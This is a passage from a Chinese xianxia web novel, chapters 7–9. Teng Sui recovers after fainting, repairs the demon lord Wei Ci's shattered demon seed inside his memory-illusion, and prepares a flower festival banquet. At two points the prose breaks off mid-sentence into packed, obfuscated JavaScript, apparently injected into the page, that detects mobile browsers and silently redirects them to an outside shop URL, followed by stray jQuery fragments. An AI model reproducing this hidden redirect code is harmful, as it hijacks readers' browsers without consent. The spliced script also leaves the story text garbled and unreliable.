他记得“她”的眸色极浅,像颗剔透的宝珠,总是闪着华光溢彩。 而滕岁的眼瞳和“她”像极了,晶亮晶亮,貌似一模一样。 滕岁觉得这话说得挺怪的,这个时候才说她长得像,是不是太迟钝了?找茬也不带这样找的。 虽然她心里这么想,嘴上还是讨饶,和一个脑残,说得再多都是废话,倒不如顺着他。 滕岁嘻嘻哈哈道:“魔尊大人,我是大众脸,你瞧瞧我,小眼睛、小鼻子、小嘴巴的,走在路上能挑出百八十个人长得像我。没必要那么较真啦。” 这招果然有效,危慈动作停滞片刻,貌似是打心底里认同滕岁的说法,放过了她,绕过她往前走。 这世上相似的人确实不少,危慈也不认为滕岁这么愚蠢的人能够骗得过他,将他的剑偷走。 危慈走了,一切又恢复了原状,好似刚刚的只是她的错觉而已。 滕岁算得到了解脱,心情却没好多少,和脑残相处实在困难。 更气人的是,这人不仅脑残,眼睛还瞎,她不过就是自贬客气一下,他那是什么反应?! 她也是照过镜子,见过原身长什么模样的,明明是大大的眼睛,翘挺的鼻梁,樱桃般粉嫩的小嘴好不好!妥妥是个娇艳欲滴的小美人。 算了,不与他计较,滕岁还有更重要的事情要做,那就是叫系统给她解释一下,为什么危慈看上去好像恢复了部分修为。 系统君强势上线:“亲亲,他是魔族,修为是可以通过所谓的妄念来恢复,感受到的妄念越强,力量越强大,修为恢复得越快。” 滕岁不解:也就是说他现在恢复了部分修为? 不对,哪里来的妄念,秦得之和周意之看起来都傻乎乎的,她也没有想过乱七八糟的事情,难不成是危慈他自己…… 一个锤子而已,真不至于啊! 7. 第 7 章 滕岁提裙跟上,正看见周意之站在石碑旁往其内注入自身灵力,忽地一发光发亮,竟有一片绚烂夺目的白色覆盖了世界,又收束回石碑。 一阵灰尘呛鼻,她定睛再看时,众人已出了秘境,不过身处一座墙垣破壁的庙宇当中而已,眼前的石碑似经历了十多年的尘灰,愈加老旧,布满蛛网。 她有一阵的恍惚,折腾了大半日,此时庙外夜色沉沉,几番惊吓耗费心力,肚子里又空空荡荡,脚步虚浮间,竟有昏昏倒地之象。 危慈在她站不稳时扶了一把,握住她的手腕,数落道:【你不是蓬莱仙宗的圣女吗?境界怎么才是个筑基。蓬莱仙宗派你这样的人协助陆清昱杀本座,是和苍梧宗有仇吗?】 滕岁无从辩解,原书中的原身就是个在大结局临时出场的工具人,只知道蓬莱仙宗独立于大陆之外的远洋仙岛,由蓬莱滕氏世代守护神器瑶溪丝线。 到滕岁这辈,姐姐滕沫继承仙宗掌门之位,而原身自幼娇养,懒于修炼,根骨也极差,只得做个吉祥物圣女。 至于离岛来苍梧宗一事,其姐滕沫本不应允,全是凌霄子百般保证会护她周全、妥善照料,滕沫才碍于情面松了口。 念至此,滕岁有些惭愧和担忧。 蓬莱仙宗知道自家宗门圣女和一个魔头结伴跑路,怕是气得要吐血,说不定还要跨海打上苍梧宗,掀起两宗大战! 这可不是她想看到的场面,得找个机会给原身的姐姐写封信,把这大误会解释清楚。 滕岁甩甩头,把那糟心的念头甩开,盯着危慈抓着她手腕的手,退开半步,惊奇道:“等等,你怎么知道我才到筑基修为?你这么一碰就知道啦?” 危慈奇怪地看她一眼,他今日见她这个眼神许多回,虽早有听闻蓬莱仙宗的人不与外界往来,但也不至于这么没见过世面,她性格疯疯癫癫,身材弱不胜衣,难道是在宗门受了虐待? 这般一想,倒也说得通了。 若是在家中受宠,怎么会舍得将她送入这杀局中。 他还未说话,周意之却先走到滕岁面前,插了个话头:“岁岁姑娘,你额渗虚汗,口唇发白,是身体哪里不适吗?” 语气体贴,神色关切,只还是个青涩小郎君,说几句软话,脸颊都发红。 滕岁想说她看起来哪有那么虚就是肚子饿了,但又见周意之这反应实在好玩,下意识便弯了眉眼。 不防危慈跨步拦在滕岁与周意之中间,滕岁挑逗的话卡在喉咙里,仰头对上他探究的眼神,心头莫名一跳。 危慈看看滕岁,又剜了一眼周意之,脸色沉下来,那神情,像是撞破了一对奸夫□□,在他眼底传情。 【不过探个脉门,圣女大人也这般大惊小怪?】危慈有意忽略了周意之,说话带着刺,后半段话调子拉得颇长,想让人不注意到其中的重点都难,【装一次两次就够了,再装下去就没意思了。】 他差点忘了滕岁惯会演戏卖惨。 滕岁摸不清头脑,她装啥了?一会讽刺她弱,一会说她爱装,还能不能愉快的聊天了。 她饿得眼冒金星,没心思和危慈拌嘴,将气闷在心里,没回话,甩手试图挣开危慈的钳制,却因身体无力的缘故,半天掰不开他的手。 滕岁赌气道:“你松手,我自己可以站稳,不用你扶。”她都不想理他了,这脑残一点都看不出来吗? 危慈非但没松,反倒越攥越紧,听滕岁吃疼一声闷哼,他才得逞似的将她甩开,无情道:【你自作多情了,本座碰都不想碰你。】 滕岁摔到地上,周意之伸手来扶,她抬手示意不用,自己艰难地撑起身爬起来。 她头晕得厉害,孤身一人沦落异世和挨饿遭冤枉的委屈一起涌上心头,顿感一股莫大的无措和愤怒。 滕岁无法理解也没心情去揣摩危慈到底犯了什么毛病,横竖她也算是危慈的救命恩人,不报答也就罢了,还在她累死累活一整天快饿死的时候犯毛病。 原身在书中是个工具人,她现在也是危慈找解药的工具人。 滕岁在心中大喊,工具人的命也是命,工具人也是有尊严的!!! 她感到整个庙宇都在她眼前打转,摇摇晃晃搡了危慈一把,“你既然如此看不起我,认定我是装的,还嫌我拖累你,那我们就一拍两散,你自己去巴蜀找解药吧,我不奉陪了!” 滕岁说完,满腔怒气用尽,愉悦地大喘着粗气,身体和精神都不太正常了,没有任何征兆的,身体一软栽倒在地。 她最后一眼瞥见,危慈极低地啧了一声,脸色五彩缤纷,着实精彩极了。 滕岁死而无憾。 * 凉爽的微风从窗棂吹进来,一根缀着淡粉花朵的枝头探入房内,雀鸟儿落在树枝上,随即扑棱着翅膀飞远。 滕岁模模糊糊地恢复了意识,口干舌燥,身体酸麻沉重,像是被打了一顿。 她睁开双眼,映入眼帘的是素色纱帐的床顶,朦胧间,还能听到院外的几声鸟叫。 滕岁想坐起身,却没有什么多余的力气,颤颤抬手掀开了床幔的一角,扫眼看去,她在的地方是一间古色古香的屋子。 她这是……死了之后又穿越了吗?难不成别人是好孕体质,而她是个易穿越体质? 滕岁在心里呼喊系统,系统还没出来,倒是先有人走进了屋子。 来人是个扎着双丫髻,看起来十五六岁的姑娘,身着朴素襦裙,端着个瓷碗,里边散发出一股浓浓的中药味。 她见滕岁醒了,惊喜万分,赶忙将碗搁置在桌上,说了一句:“岁岁姑娘,你可算醒了!奴婢去叫夫人老爷和秦道长还有周道长过来。” 那人脚步哒哒走得飞快,半点没给滕岁开口问她的机会。 听到熟悉的“秦道长”和“周道长”两个称呼,滕岁知道了她原来没死,最多是昏过去了,还在《问仙》这本小说里。 她长呼了一口气,瘫倒在床上,心里一阵懊恼。 滕岁之前在气头上,对危慈说得都是气话,草稿都没打一个,如今清醒了,肠子都快悔青了。 她要完成给陆清昱捣乱的任务,还是得靠危慈,如果不好好控制他,要是他恢复修为后去找陆清昱单挑,他们两个哪个被打死了,她的任务都会失败。 滕岁烦躁地拿被子盖住自己的头,门外传来闷闷的脚步声,一群人径直走了进来。 为首的二人是秦得之和周意之,后面两个穿着锦衣华服的中年男女,想必就是那婢女口中的夫人老爷,在后面则站着随身的家仆。 滕岁抻着脖子四望,却没见到危慈的身影,正欲询问,秦得之这个外表彪悍、内里柔弱的汉子便扑了过来,一把鼻涕一把泪抱住她哭喊。 她被吓得一激灵,身体未恢复好这下脸色又白了几分,连忙拍打秦得之让他松手,问他这究竟是怎么一回事。 片刻后,从秦得之和周意之两人的口中,滕岁知晓了这是中州汝南郡一户刘姓乡宦的家宅,他们采七彩花,正是为这户人家中的嫡子入药治病。 三日前滕岁因未进食,加之本就身体虚弱,再又怒气攻心,一头昏倒在破庙中,人事不知。 秦得之二人见状不可能坐视不管,于是就将她带到了刘府中,告知事情原委,拜托其请郎中医治,刘老爷和夫人封氏知晓其让花之举,便爽快应下,好生照料她。 听了半天都没从话里听到危慈的踪迹,滕岁着急了,讪讪问道:“我那个脾气不好的弟弟呢?不会真被我骂跑了吧?” 提起危慈,秦得之眼神不自觉飘向别处,手指打着圈,心虚道:“他被你骂完以后,好像发了那狂躁症,当下就红了眼,要冲出庙门去。 我和周师弟寻思狂躁症要是真跑到大街上,那多危险啊。我们也不会打手语,压根没法跟他沟通,只能想到最简单的法子拦着他。” 滕岁催问道:“什么法子?” 秦得之声音小得像蚊子:“我们趁机把他打晕了,下手……有点重,躺在府中另一间厢房里,到现在还没醒过来……” 话音落下,屋子里无人回话,鸦雀无声,冲鼻的药味弥漫在空气里,夹杂着一缕缕花香。 风吹花香浓,恰巧压下了那苦闷的药味,滕岁鼻腔一清,整个世界一下子都美好起来,竖了个大拇指,“二位大哥干得好,对他这种不听劝的人就得这么干!” 只是昏了嘛,揍一顿权当给她出气了。人还在这没跑,无伤大雅,无伤大雅! 这反应是众人皆没料到的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136059|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦得之见滕岁并未怪他,还将他夸赞了一番,虽不明白为什么,倒也乐在其中,觉得自己做了一件好事。 刘氏夫妇并未多做停留,走了个过场,对滕岁谢不绝口,说着要她继续静养后,带着家仆离开了。 秦得之和周意之仍在屋中未走,和她说起了另一件事——滕岁晕倒前朝危慈说的那番气话。 滕岁当时生气说话也没控制音量,那话便被他们听去。 她瞒不过,只好承认自己要同危慈去锁微秘境寻药,而秦得之将那药误认为是治疗狂躁症的药。 巧的是,秦得之师兄弟二人在外游历已久,他们的宗门五岳观本就在巴蜀境内。 前不久收信,师父召他们前往锁微秘境,寻觅些天材地宝,最后历练一番,再回宗门了结这段游历生涯。 他还拿出一张他师傅在信中寄过来、不限人数的传送符咒,秦得之说,这样一来他们几人便都可以通过此符轻松去到目的地。 滕岁畅快地接受了他的好意,打心底里感动他雪中送炭,她正愁自己和危慈两个病残又缺钱的人,该怎么去巴蜀呢。 又三天过去,滕岁每日好吃好喝、汤药滋补,病了也不亏待自己。她这病本就不是难治的大病,睡足吃饱养妥当,不久就又活蹦乱跳了。 这几日里,她已彻底和秦得之打成一片,秦得之也是性情中人,要不是有周意之在旁拦着,他险些就要拉着滕岁拜把子。 只是滕岁未去看望过危慈,一来是他还没醒,二来是她还没准备好怎么样面对他。 她需要一个办法挽回这段尚未成立便已岌岌可危的盟友关系,在她没想好之前,危慈还是不要醒了最好。 可危慈那边始终没动静,滕岁难免有些担心。 他就连药也没有开,毕竟他并无外伤,内伤也不是普通郎中治得了的,昏睡期间更是粒米未进。 滕岁越想心里就越七上八下,各种念头猜想逐渐趋向了一个最坏的方向。 系统曾说过他的魔种破烂伤及根本,而魔种在《问仙》设定中,对于魔族而言是同人类的心脏、修士的金丹一样重要的东西。 这般至关重要的东西都没了,再受秦得之那一击,不会一开始没什么事,没有得到及时的医治,就这么死了吧? 翌日,天刚蒙蒙亮。 滕岁顶着两个没睡好的黑眼圈,来到危慈休养的厢房,俯身侧耳一听,里头静悄悄的,隔着门缝都透出一股死寂。 她鼓足勇气,推门一脚踏进去,走到危慈床边,一套动作一气呵成。 危慈墨发凌乱散开,肤色病态的白,额前胭脂痣灼目,僵直地躺在床板上,衣着单薄未覆被,看起来凄凉无比。 滕岁蹲身轻轻碰了下他屈着的手指,冰凉瘆人,心里赫然咯噔一下,那不安的感觉争先恐后地冒了出来。 危慈他他他真死了! 滕岁不死心,再次给自己打气,伸手探鼻息,竟是一丝气息也无。 她贴上危慈的胸膛,心存微薄的侥幸,没有温度、没有起伏、没有心跳,什么都没有。 他死得透透的,她的心也跟着死得透透的。 完了完了,大反派魔尊就这么潦草的死了,没有被主角干掉那这个故事还会结束吗? 这算不算卡bug?或者说是惩罚延迟,留了个烂尾的结局,他们所有人马上都要陷入永久的静止中了吗? 她还没活够呢。 滕岁趴在危慈床边,悲从中来,放声哭了起来,哭得肩膀一抽一抽的,越哭声音越大越悲壮,那阵仗像是在给床上的人哭丧。 嘴里还断断续续地念叨着:“危慈你别死,你醒一醒,你不是说自己很厉害的吗?你死了我怎么办呀……” 她本没想哭得这么厉害,但一哭有点就收不住,只好擦擦眼泪,换一边脸趴着继续,不料看到搭在床板上那弯曲的指节,极轻微地,动了下。 滕岁吓得猛抬头,心头才漫上危慈居然还活着的喜悦,忽地又被惊吓到,危慈不知什么时候起身,双目空洞地看着她。 房中的抽泣声戛然而止,滕岁脸颊涨红,尴尬道:“魔尊大人,你睡醒啦?” 早不醒晚不醒,偏偏在她哭成花猫脸的时候醒,好气好羞耻哦。 8. 第 8 章 危慈虚虚倚靠着床栏,声音哑得不成样子:【吵什么吵?全天下的人都死光了本座都不会死。你哭什么,哭得又难听又难看。】 这是什么话,她会来这里还不是因为关心他,她哭还不是为了他哭,不识好歹。 滕岁胡乱擦了把脸上的泪,张嘴便要怼回去,却在看清危慈此刻的模样时,什么也没说。 他隐在床幔的阴影下,睫羽半覆,在瓷白的皮肤上也投射出一层沉重的阴影,似一只栖身在幽深洞穴的受伤小兽,孤单而恹恹。 那双黑白分明的眼瞳逐渐失焦,里面隐约映出一个人影轮廓,突兀地成了眸中仅剩的一点神采。 滕岁面上的嗔怒一闪而过,簇成两座小峰似的眉头舒平下来,眼神游离在他身上,好久才憋了一句。 【魔尊大人,你的病还好吗?需不需要我去给你找个郎中或是医修?】看到危慈这样,滕岁心里很是愧疚,她不该因为害怕而逃避,放任他在这里自生自灭。 危慈诮骂道:【滚开。你不用在这里惺惺作态,本座觉得恶心。】 滕岁心底刚燃起的愧疚之火被灭了大半,要死了语气还这么冲,知不知道现在自己简直不堪一击啊。 危慈这么欠骂,滕岁忍得非常费劲,她磨磨牙,看到他不一会脸色更白,额前冒上了冷汗,极力撑着自己的头颅,才勉强稳住那摇摇欲坠的身形。 原来是硬撑啊,她在心里长长地切了一声,死要面子活受罪。 滕岁心知多留无益,除非太阳打西边出来,否则危慈就算真活活病死,也不会与他人示弱,索性自我开解,当他是条患病乱咬人的狗。 她看开了,也就不再掰扯下去,淡淡道:“那郎中和医修我都给你请过来,我先告退不打扰大人你休息了哈。”请人来看病,比在这扯皮管用。 危慈微微一呆,体内那股用来□□心神的气差点破功。她不应该失望地滚出去,或者愤怒地骂他几句吗? 他讨了个没趣,反倒更加来劲,语气阴翳道:“等等,本座还有笔账忘了跟你算。” 滕岁脚步停在门边,等他说出接着说下一句话,这狗又想干啥。天色忽暗,她视线扫过窗外,太阳真打西边出来了? 【疯女人…你的胆子是越来越大…竟敢在私下编排本座!别以为本座什么都不知道,那日在破庙——】他像是已病入膏肓,喉间发出的都是气声,含糊不清。 滕岁细细一听,猛然心惊,做贼心虚地捻了捻袖口。 危慈说到后半段时,着实是气得不轻,气息越喘越粗,滕岁都怕他背过气去。 她虽后面的话一个字也没听清,但她明白了,自己与别人谎称他们是姐弟,还有说他得了狂躁症一事,都被危慈发现了。 她猜是秦得之二人阻止危慈出走时,不小心说漏了嘴。 一想到此事,危慈气得都快咳出血来,他被一个疯女人耍得团团转,乃是他永世之耻! 反观滕岁,她脸上终于有了几分慌张之色,却不是因破庙之事,而是忧心危慈真的会被气死。 她倒也不是完全不怕危慈来找自己秋后算账,只是他也得有命撑到那时候啊。危慈这招伤敌为零,自损一千。 滕岁叹了口气,不管怎样,她总不能因为之后会被那人扁一顿,而见死不救。 她不再磨蹭,提裙就走,“魔尊大人,你消消气,都是我的错,你撑住,你要是能活着,我允许你骂我泄愤。”打不行,骂可以,这是她的最大容忍了。 然而接下来的一瞬,只听扑通一声,危慈僵直瘫倒在床上。滕岁大惊,颠颠撞撞奔到床前,看到了触目惊心的一幕。 危慈眉心的那颗漂亮红痣,不知被何物刺破,流出的血极为沉暗。 开始还是一点点黑血珠往外冒,后来流淌到了鼻侧,成了血柱。 从那颗小痣中流出的血越流越快,越流越快。 似是要将他所有的血流干那般,在床单上洇出一个血窟窿。 血流如注。 若是滕岁此刻抽身去请人帮忙,说不准再回来只能看到干尸一具。 她手足无措,心急如焚地呼喊系统。 幸好它没有坐视不管,从沉睡中醒来,回应道:“亲亲,还记得我和你说过危慈的魔种破裂了吗?魔物的形成和力量来源于世间不断滋生的妄念,遂他的修为恢复得很快,可那些力量需寄存于魔种之中。 如今他的魔种破裂,力量无枝可依,便在他体内冲动混沌,难以控驭。而他此刻会是这样,正是被反噬的力量所侵袭所导致的。” “危慈很快就会死去。”它的语气里有几分惋惜。 滕岁怔住,手足发凉。她没料想到事情会严重到这个地步。 原著里陆清昱曾被师傅教导,魔物诡谲多变,弑杀时一击刺破魔种,方可使其魂飞魄散,再无重生可能。 而危慈的魔种应是被陆清昱击中了的,可在很长一段时间里危慈还活着。 她之前没往这方面深想,这下却从其中找到些渺茫的希望。 滕岁问:“危慈的魔种是不是还未完全破裂?” 系统没有正面回答她,只说:“你要是想救他,你的命可能也会搭进去。” 危慈的魔种确实还有一缕残余,但修补魔种需要进入因吞噬混沌所产生的幻境里,如若对方不肯放她出来,她就会永久受困在其中。 滕岁眸光微动,无言,俯身用衣袖作帕,沿着眉宇、鼻梁,拭过脸侧耳边,替危慈擦去了脸颊的血迹。 动作缓慢、轻柔,每一步都在斟酌。 她没有办法做到眼睁睁地看到别人的生命慢慢消逝,而无动于衷,可她也怕死,不想一个人凄惨地受困。 滕岁十八年的岁月中,父亲出轨、父母离婚、继父刁难、母亲离世,自以为经历了这些,人生再没有多大的难题。 偏此刻是两难。 救,她承受不了失败的后果;不救,这事会成为她一辈子的心结。 滕岁擦拭得入神,没注意危慈有了微弱的意识。 他睁开眼,见少女韶颜不再,满是忧心忡忡,正一手捧着他的脸。 方才他听到滕岁在自言自语说有关魔种之事,他忽然想起确实可以靠那样的法子重新修复魔种。 危慈素来慕强厌弱,只容许自己掌握绝对的实力,绝不肯让自己身上出现任何弱者痕迹。 而接受他人的帮助在他眼里也是只有弱者才会有的行为,是以他主动忽略了那个办法。 他能感受到自己生命在因庞大的力量而消逝,可他不惧怕。 他从来不惧怕死,更不明白为何世上那么多人会对生死百般计较。 危慈看着滕岁,起了促狭的心思,拉住她,迫使她身子俯得更低,与她眼睛对眼睛,鼻尖碰鼻尖,感受那急促温热的呼吸。 【本座快要死了,你可不可以救救本座?】他有气无力,眼中隐隐带着好奇与期盼。 她怕死,他知道。 可他偏要这么问。 人性都有丑恶。他想看她深藏于骨肉之下的面目。 屋外突如其来地下起了雨,滕岁先是慌乱,而后看清他已经醒转,眉梢忽而染上喜悦。 她的声音落在雨声里覆了满屋,踌躇而谨慎道:“好,我救你。” 滕岁到底还是要救危慈。 她可是接受过现代良好教育的善良青年。 “你千万要记得放我出来,”她伸手勾住他的小拇指拉钩,“你可是魔尊,威名震彻三界,总不屑于欺骗我吧,没了我,你就只能当哑巴,不能装十三,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136060|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能骂人了!” 只要危慈愿意放她出来,他们都能相安无事。 她决定信他一次。 危慈未发一语。 这办法既危险又愚蠢,果然、果然她是个疯女人。 在他不设防备的瞬间,滕岁扑了过来,与他额头相抵。他眉宇间的那颗小痣,则是他魔种存在的地方,亦是力量紊乱的根源。 系统告诉滕岁,只要触碰他破碎的魔种,即可去到幻境中。她本想用手触碰那处地方,不料脚下摔一跤,眼睛一闭一睁,顺着一股莫名的力量来到了一片荒野。 一入目,地上布满了各式机关,符文沿着其上纹路蜿蜒舒展,抬头四望,天地间尽是身着各色法衣的宗门修士,个个严整戒备。 滕岁被夹在一群弟子中间,身体半透明,类似于全息投影的那种状态,周围的人不仅看不见她,还能从她身体里穿透过去。 片刻后晴朗无云的天气骤变,黑云滚滚卷来,天光尽数被遮盖,大地一片灰暗。 一个熟悉的身影带着迫人的杀气而来,他目光掠过围堵的众人,在看清此地布下的机关法阵后,不屑一顾地落入了法阵的中央。 滕岁缓缓走过去,看清了那人的脸,是五年前的危慈,容貌还未经过变化,装束与如今一致,只是腰际上多了块会发光的木牌。 她很快就弄清楚了状况。这是人魔大战,也是危慈魔种破裂时的场景。 凌霄子作为仙门百家之首的掌门,自然也在此,他将拂尘挽于臂上,讽笑道:“危慈,如今你的千万魔兵被截,你已深陷我等布下的通天阵法当中,插翅难逃!” 三界无人不晓危慈狂妄自大、弑杀如狂的个性,凌霄子一众正是吃透了他的性子,才特意苦费心机请君入瓮,将他引入死局。 到这里,一切都与原著中所描写的无异,可接下来的发展,滕岁始料未及。本该与众宗门叫嚣的危慈,只是淡淡取下腰间那块闪着亮光的木牌,将凌霄子的话当耳旁风。 凌霄子鼻子都要被气歪,盛怒之下发令开阵,而危慈抬头看了一眼,连剑意都懒得凝出来,丝毫没有想打架的意思,手中捏紧了那块木牌。 在场的弟子们想:岂有此理,这人未免太过猖狂! 滕岁有些头秃,想的是:天杀的,这脑残比原著还狂。 机关阵法已开,陆清昱便提着神兵承影现身,云雾缭绕,金光灿灿,自带出场特效。滕岁站在旁边,惊叹张嘴,她又被美到了。 修补魔种的过程倒不复杂,只需待危慈的魔种被击碎,再捡起地上的碎片,将其以灵力重新拼合就行。 暮色荒野间,众弟子布下天罗地网,呈合围之姿步步向危慈紧逼,陆清昱也举剑来到危慈面前,眼看那剑就要刺进他的额头。 滕岁却看出了危慈的不正常,陆清昱亦是。 他眸色涣散,直到如今都没有抬手凝剑。 看原著这段的时候,滕岁一直觉得是陆清昱的剑势太快,而危慈狂傲自大,才会一时松懈没有躲过去。 但现在看来,危慈是压根没有躲避的意思。 他是…故意为之? 陆清昱的剑不偏不倚地抵着危慈的额角,“不和我比一场吗?” 危慈手中那不起眼的木牌越加灼亮,光芒翻涌激烈,而他猝然跪倒在地,直直地望向滕岁的方向。 滕岁打了个寒颤,莫名生出一种强烈的感觉,他好像看得到她。 眼看陆清昱的剑刃堪堪划破额头,化作一个血点,危慈像是神游归位,终于有了反应。滕岁也跟着松了口气。 可缓了还没一秒,危慈便冷不丁地喊了句她的名字,“滕岁。” 滕岁:? 他他他真能看见自己?!不对,这时候他们俩压根不认识吧?!! 9. 第 9 章 头一次被危慈这样连名带姓地叫,还是在这种生死场合,滕岁非常之不淡定。 但很快,她发现这纯属虚惊一场。 危慈看不见她,只是单纯的在呼喊她的名字。 他不再看向某个方向,低着头,不停地喃喃:“滕岁,滕、岁,滕……岁……”专注而诚恳,像是想把这个名字刻入骨髓,生怕忘却了。 但,在这种时候念叨她的名字好像也很古怪。 滕岁还没来得及地思考,更加不可思议的转变来了。 危慈跪坐在那里,如同一个虔诚的信徒,双手合十,手中的是那块失去了光亮,逐渐黯淡的木牌。 下一刻,像是真的得到了什么指引,危慈一手握着陆清昱的剑刃将其推开,一手从额前取出一颗乌沉如墨般的小球,没有半分犹豫地徒手捏碎了它。 从中冲出似奔流江水般浓稠数百倍、千倍的魔煞之气,瞬时黑雾浓重,周遭一片灰蒙蒙。 黑气裹缠着众人,一时间魔煞入体,浑身血液似倒流沸腾,几乎是下意识想要遁逃。 陆清昱微怔了刹那,立即敛了神色,以利剑贯穿危慈的胸膛,使他完全丧失行动能力。 滕岁一下子怀疑自己看的可能是删减版的原著,不然她眼前发生的一切没法解释。 为什么危慈现在会知道她的名字?又为什么他会自爆魔种?? 魔气爬上陆清昱的承影剑,她脸色难看,点了下左肩胛的穴位,吐出一口鲜血,并强行透支修为,将灵气附着在剑身上扫荡周身的雾障。 危慈的魔种快要彻底破裂,幻境里的雾气对滕岁并不产生影响,她看清了那一缕残余本体。 滕岁忽地恍然,危慈的魔种之所以会还有残余,是因为他主动自爆,刻意留了后手。 她细想又觉得不合理,以他的性格绝对会高傲地正面决战,如此行为与认输无异。不战而降,虽能苟活,却会沦为笑柄,他不会这样做。 幻境变幻,危慈已被凌霄子派一干人押送走,陆清昱也御剑离去,只剩滕岁和地上残余的魔种碎片,还有一块不慎掉落、被遗留在原地的木牌。 滕岁除了魔种碎片,无法触碰幻境里的其他事物,只好蹲身细看那木牌,表面蒙了层泥灰,牌身上有一道深长的划痕,隐约能辨出其上刻着半披青丝、笑意荡漾的女子,底端还錾刻着几个歪扭小字——添喜符。 危慈方才所持的便是此物。 滕岁微微一笑,貌似吃到了什么瓜。 她记得危慈曾提到过有个人教会了他束发,想来便是木牌上的这位人物。他护这木牌护的紧,说不定是藏在心底的红颜知己。 滕岁没再耽搁,挪步拾起魔种碎片,和那一缕残余拼凑在一起。 她凝气向内汩汩注入自身的灵气,魔种顺利合成,重新化作颗漆墨黑珠漂浮在半空中。 滕岁完成了任务,肩头的担子卸下,畅快地舒了一口气,结果一块大石迎面砸过来,扑到她眼前,哪怕她知道这石头砸不到自己,也惊得心脏突突跳。 不知为何,幻境又有新的变化,无端刮起了一阵邪风,将碎石飞沙簌簌吹起,风声呼啸如吼,风力至少五、六级。 她触到魔种,闭眼回去,心道危慈又在搞什么鬼。 那厢,躺在床上的危慈察觉到魔种有了开始恢复的迹象,却未见滕岁从幻境中出来,难宁心绪。 而心绪不宁便会影响幻境。 他努力内心平复,体内翻涌的力量也渐渐平息,不自觉便有了困意,但还是撑着不肯合眼。 滕岁回来得很突然,一眨眼便到了屋内。修复魔种的过程没有她想象的那么凶险,相反还怪顺利的。 所以系统是纯吓唬她,想看人性博弈吗?心机系统君实锤。 危慈看着滕岁的脸上一会洋溢着傻笑,一会支着下巴陷入沉思,心觉她应该没出什么事,还是和以前一样疯癫。 滕岁两眼染上兴奋,注意力转回到危慈身上,本想和他说木牌上的女人,可他竟一下子睡着了。 少年发黑如墨,肤白似霜,呼吸均匀,在淅淅沥沥的春雨里沉沉睡去,平日里的锋芒敛去,眉峰拢起,睡姿拘谨,倒像是个一丝不苟的小仙君。 “睡得真快啊。”滕岁低低地自语了一句,抚平了他的眉头,替他盖上被子,掖好被角,“好好睡吧,大魔头。” * 农历二月二十五,是为花朝节。 大梁朝素重时序节气,像花朝节这样现代鲜少有人过的节日,在当朝也是朝野万民同庆。 但凡有些名望的官宦世家都会在府中设花朝宴,邀请亲友同僚来府上赏春。 刘府夫人封氏近日为此事头疼,他们本地望族,是因刘老爷今年升迁到此处做官,才举家搬迁,如今人生地不熟,府上又是初次办这样的宴会,却连个帮忙的人都找不到。 滕岁知道了这事,热心肠地提出要替封氏分忧。 她妈妈以前是开花店的,她从小对花卉植物的知识了解不少,跟着学了一段时间的插花,在这方面也算是半个小专家。 封氏先是有几分疑虑,待见到她准确地说出花圃里各色花朵的种类、习性时,被她的见识深深折服,当即松口,将赏花宴的一切事宜都交给她负责。 危慈一连昏睡了好几天,有了前车之鉴,滕岁每日都会去他屋中探探他的鼻息,观察他的状态。 春雨时断时续,空气中弥漫着湿湿潮潮的气息。 滕岁喜欢这种雨水浸润植物后带来的清甜,索性领着秦得之他们坐在院子的檐廊下,一同遴选、洗涤花枝。 “岁岁妹子,好久不见哑巴兄了,身体好些了吗?我那日真不是故意的。”秦得之正在替花枝分类,边挑边道。 滕岁换下了之前那身白裙,封氏寻来裁缝给她制了身新的玉色纱裙,料子贴肤,衬她的肌骨愈发雪白莹嫩。 乌发扎成了一股一股的灯笼小辫垂在肩边,她从脚边的木桶中沾了些水抚平花瓣,随口答道:“没事啦,我去看过他了,只是累坏了需要静养,秦大哥你不用担心。” 天空下起细密的雨丝来,斜织成了一道雨幕,危慈立在院子对面的廊下,隔着雨幕看滕岁。 周意之和滕岁两个人的小木扎排排坐,时不时还会凑在一起说话,说着说着院子底下的几人便笑闹起来,穿透雨声收入他的耳中。 滕岁浑然不觉自己已经被一道不友好的视线盯上,甚是悠哉地哼着小曲,拨弄花枝。 她哼着哼着忽地周遭笑声都渐次消停,后脖颈发凉,缓缓仰头,危慈站在她身旁一声不吭。 滕岁吓了一跳,照这么个几天一惊吓的吓法,她非得神经衰弱,“你走路连个声音都没有?招呼也不打,话也不说一句。” 危慈神色绷紧,还是没说话。 滕岁关心起他的身体,“你恢复得怎么样了?” 危慈除了站在这里扭扭捏捏,像憋了屎意一样以外,状态看起来还不错。 滕岁眨了眨眼,等待他的回答。 危慈清了清嗓,唇线扯直,字从齿缝中艰难吐出一句:【本座原谅你了。】 牛头不对马嘴。 滕岁听得发懵,歪头思考,原谅她什么?她做错什么了吗? 她想到之前的争吵,忽而会心一笑,悄悄道:“啊,我知道了,你指的是破庙那日之事?” 危慈的指尖蜷了蜷,唇张了又闭,抿得更紧,不晓得在生什么闷气。 滕岁心道看来她猜错了,不是那件事,还能是什么呢? 僵持之际,危慈恨铁不成钢般,怒道了一句:【你怎么不和我道歉?】 滕岁慢慢垂眸,危慈的声音虽大声,听起来却更像是虚张声势,他的语气里怒气没几分,反倒带着不少怨气。 好像在说“我都这样了,你怎么还不那样。”“我都道歉了,你怎么还不和我道歉?” 